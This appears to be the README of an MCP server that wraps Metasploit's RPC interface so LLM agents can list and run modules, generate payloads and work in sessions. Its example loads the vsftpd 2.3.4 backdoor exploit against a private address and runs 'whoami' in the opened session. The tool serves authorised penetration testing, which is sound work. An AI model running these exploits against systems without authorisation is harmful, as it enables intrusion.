{
  "markdown": "# mcp-pymetasploit3\n\nMCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.\n\n[![PyPI](https://img.shields.io/pypi/v/mcp-pymetasploit3.svg)](https://pypi.org/project/mcp-pymetasploit3/)\n[![Python](https://img.shields.io/pypi/pyversions/mcp-pymetasploit3.svg)](https://pypi.org/project/mcp-pymetasploit3/)\n\n## Install\n\n```bash\npip install mcp-pymetasploit3\n```\n\n## MCP Server Configuration\n\n```json\n{\n  \"mcpServers\": {\n    \"mcp-pymetasploit3\": {\n      \"command\": \"mcp-pymetasploit3\",\n      \"env\": {}\n    }\n  }\n}\n```\n\n## Usage\n\n### Starting Metasploit RPC Server\n\nBefore using the MCP server, you need to start the Metasploit RPC server:\n\n**Using msfrpcd:**\n```bash\nmsfrpcd -P yourpassword -p 55553 -n\n```\n\n**Using msfconsole:**\n```bash\nmsfconsole -q\nmsf6 > load msgrpc Pass=yourpassword\n```\n\n### MCP Tools\n\nOnce connected, the following tools are available:\n\n#### Connection Management\n- `connect` - Connect to Metasploit RPC server\n- `disconnect` - Disconnect from RPC server\n- `get_client_info` - Get current connection status\n\n#### Module Management\n- `list_modules` - List available modules by type\n- `use_module` - Load a specific module\n- `get_module_info` - Get module description and info\n- `get_module_options` - Get all module options\n- `set_module_option` - Set a module option\n- `get_missing_required` - Get required options not set\n- `execute_module` - Execute a module\n- `get_module_targets` - Get available targets\n- `set_module_target` - Set the target\n- `get_target_payloads` - Get compatible payloads\n\n#### Payload Generation\n- `generate_payload` - Generate a payload\n\n#### Session Management\n- `list_sessions` - List all active sessions\n- `get_session_info` - Get session information\n- `interact_session` - Write/read from session\n- `session_run_command` - Run command with output\n- `stop_session` - Stop a session\n\n#### Console Management\n- `create_console` - Create a new console\n- `destroy_console` - Destroy a console\n- `write_console` - Write to console\n- `read_console` - Read console output\n- `console_is_busy` - Check if console is busy\n- `run_module_output` - Execute module and get output\n\n#### Core/Framework\n- `get_framework_version` - Get framework version\n- `core_save` - Save core state\n- `core_reload_modules` - Reload modules\n- `core_set_global` - Set global variable\n- `core_unset_global` - Unset global variable\n\n#### Database\n- `get_db_status` - Get database status\n- `db_list_workspaces` - List workspaces\n- `db_set_workspace` - Set current workspace\n- `db_list_hosts` - List hosts\n- `db_list_services` - List services\n- `db_list_notes` - List notes\n- `db_list_creds` - List credentials\n- `db_list_vulns` - List vulnerabilities\n\n#### Jobs\n- `list_jobs` - List running jobs\n- `stop_job` - Stop a job\n- `get_job_info` - Get job information\n\n#### Plugins\n- `list_plugins` - List loaded plugins\n- `load_plugin` - Load a plugin\n- `unload_plugin` - Unload a plugin\n\n#### Search\n- `search_modules` - Search for modules\n- `get_module_references` - Get module references\n\n## Example\n\n```python\n# Connect to Metasploit\nconnect(password=\"yourpassword\", host=\"127.0.0.1\", port=55553, ssl=False)\n\n# List exploits\nexploits = list_modules(\"exploit\")\n\n# Use an exploit\nuse_module(\"exploit\", \"unix/ftp/vsftpd_234_backdoor\")\n\n# Set options\nset_module_option(\"exploit\", \"unix/ftp/vsftpd_234_backdoor\", \"RHOSTS\", \"192.168.1.100\")\n\n# Execute\nresult = execute_module(\"exploit\", \"unix/ftp/vsftpd_234_backdoor\", payload=\"cmd/unix/interact\")\n\n# List sessions\nsessions = list_sessions()\n\n# Interact with session\noutput = interact_session(\"1\", \"whoami\")\n\n# Disconnect\ndisconnect()\n```\n\n## Development\n\n```bash\ngit clone https://github.com/daedalus/mcp-pymetasploit3.git\ncd mcp-pymetasploit3\npip install -e \".[test]\"\n\n# run tests\npytest\n\n# format\nruff format src/ tests/\n\n# lint\nruff check src/ tests/\n\n# type check\nmypy src/\n```\n\nmcp-name: io.github.daedalus/mcp-pymetasploit3\n",
  "bytes": 4035,
  "sha": "4a97bce1792f4c3ce230c646927eb5d03eff26bf1b5866f686fa59bdf70028ce",
  "repo_slug": "daedalus/mcp-pymetasploit3",
  "fonte": "repo",
  "truncated": false,
  "api": "https://agentalog.com/api/listings/mcp_io_github_daedalus_mcp_pymetasploit3_ee3198f9/readme"
}